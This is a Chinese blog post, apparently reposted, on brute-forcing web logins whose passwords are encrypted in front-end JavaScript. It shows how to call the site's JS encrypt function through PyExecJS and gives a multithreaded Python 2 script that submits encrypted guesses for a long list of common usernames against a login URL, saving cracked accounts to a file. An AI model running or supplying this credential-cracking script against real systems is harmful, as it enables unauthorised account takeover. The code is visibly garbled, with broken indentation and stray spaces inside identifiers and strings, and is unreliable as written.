前端黑客之绕过前端加密进行爆破

在渗透的过程中,有时候会遇到密码在前端加密了,为我们爆破提高了难度。加密是js脚本 自定义函数加密,burp里面的一些加密函数就满足不了我们的需求。如下所示,密码为 admin123,加密的效果如下:

可以看到加密的函数主要是encode,所以每个密码都由自定 义 函 数 加 密 。

最 近 在 实 战 过 程 中 get 到 一 个 new trick , 利 用 相 应 的 工 具 或 者 模 块 执 行 该 js 文 件 , 拿 到 输 出 结 果 即 可 , 可 以 使 用 python 自 带的 execjs 。

安 装

先 安 装 execjs

pip install PyExecJS

将 js 代 码 保 存 在 本 地 。

#coding:utf- 8

from selenium import webdriver

import execjs

with open ( 'test.js' , 'r' ) as jj:

    source = jj. read () 

    phantom = execjs.get( 'PhantomJS' ) 

    getpass = phantom. compile ( source ) 

    mypass = getpass. call ( 'encrypt' , 'admin' , 'admin123' )

    print mypass 
复制代码

利 用以 上 代 码 可 获 得 相 应 的 密码 。

爆 破

自 动 化 走 起 , 写 了 一 个 python 脚 本 进 行 渗 透 爆 破 。

#coding=utf-8

import sys

reload(sys)

sys.setdefaultencoding( "utf-8" )

import requests

import re

import base64

import time

import random

import threading from selenium

import webdriver

import execjs

def brute (user,password,UA) :

            url = 'http://xxx/login' 

            with open( 'test.js' , 'r' ) as jj: 

            source = jj.read() 

            # phantom = execjs.get('PhantomJS') 

             phantom = execjs.get() 

            getpass = phantom.compile(source) 

            print user, password 

            mypass = getpass.call( 'encode' , user, password) 

            passwd = mypass 

            print passwd

    post_data = {} 

    post_data[ 'userName' ] = user 

    post_data[ 'userPass' ] = passwd

    post_data[ 'verifyCode' ] = 'dsvx' 

    headers ={ "Content-Type" : "application/x-www-form-urlencoded; charset=U TF-8" ,                             "Referer" : "http://xxx/" , "Connection" : "close" } 

    resp = requests.post(url=url,data=post_data,headers=headers) print user+ "#"                                     +password+ " " +resp.content

                if not resp.content.find( u' 请 检 查 账 号和 密 码 ' ) > 0 : 

                          print '*** find user:' , user, 'with password:' , password, '***' 

                          with open( 'accounts-cracked.txt' , 'a+' ) as f: 

                          f.write(user + '    ' +  passwd + '\n' ) 

       def main () : 

                tsk = [] 

                user_list = [ 'admin' , 'noreply' , 'hr' , 'jobs' , 'qiniu' , 'lietou' , 'dem o' , 'ceo' , 'dev' , 'root' , 'service' , 'fuwu' , 'yunying' , 'webmaster' , 'wechat' , 'weixin' , 'weibo' , 'tec' , 'bd' , 'bf' , 'op' , 'shop' , 'test' , 'pm' , 'kefu' , 'cd n' , 'marketing' , 'zhaopin' , 'suggestion' , 'warning' , 'risk' , 'system' , 'pay' , 'payment' , 'management' , 'feedback' , 'guanli' , 'ci' , 'ad' , 'td' , 'news' , 'ce rt' , 'sdk' , 'pmd' , 'appstore' , 'development' , 'it' , 'fankui' , 'notify' , 'bug s' , 'security' , 'sec' , 'alipay' , 'yunwei' , 'message' , 'support' , 'ceshi' , 'de veloper' , 'notice' , 'redmine' , 'alert' , 'kaifa' , 'seo' , 'git' , 'vpn' , 'jenkin s' , 'jira' , 'zabbix' , 'chandao' , 'nagios' , 'monitor' , 'account' , 'jubao' , 'ba ckup' , 'open' , 'openapi' , 'github' , 'reload' , 'blacklist' , 'buyer' , 'caiwu' , 'order' , 'postmaster' , 'pr' , 'report' , 'public' , 'download' , 'som' , 'ops' , 'd evops' , 'caigou' , 'pmp' , 'monit' ] 

            f1 = open( 'pass2.txt' , 'r' ) 

            for i in f1.readlines(): 

            password = i.strip()

                    for j in user_list: 

                            user = j 

                            UA = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:5 6.0)                                                     Gecko/20100101 Firefox/56.0" 

                            t = threading.Thread(target = brute,args = (user,passwor d,UA))                                     tsk.append(t) 

                                    for t in tsk: 

                                            t.start() 

                                            t.join() # 阻 塞 (0.1) 

                if __name__ == '__main__':

                            main() 
复制代码

开了一个新群,期待感兴趣的小伙伴加入进来,一起学习交流解决问题,吹水广告勿扰

感兴趣的小伙伴也可以在评论去留言

转载于:https://juejin.im/post/5ad6b7fc6fb9a028dd4ec1aa

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值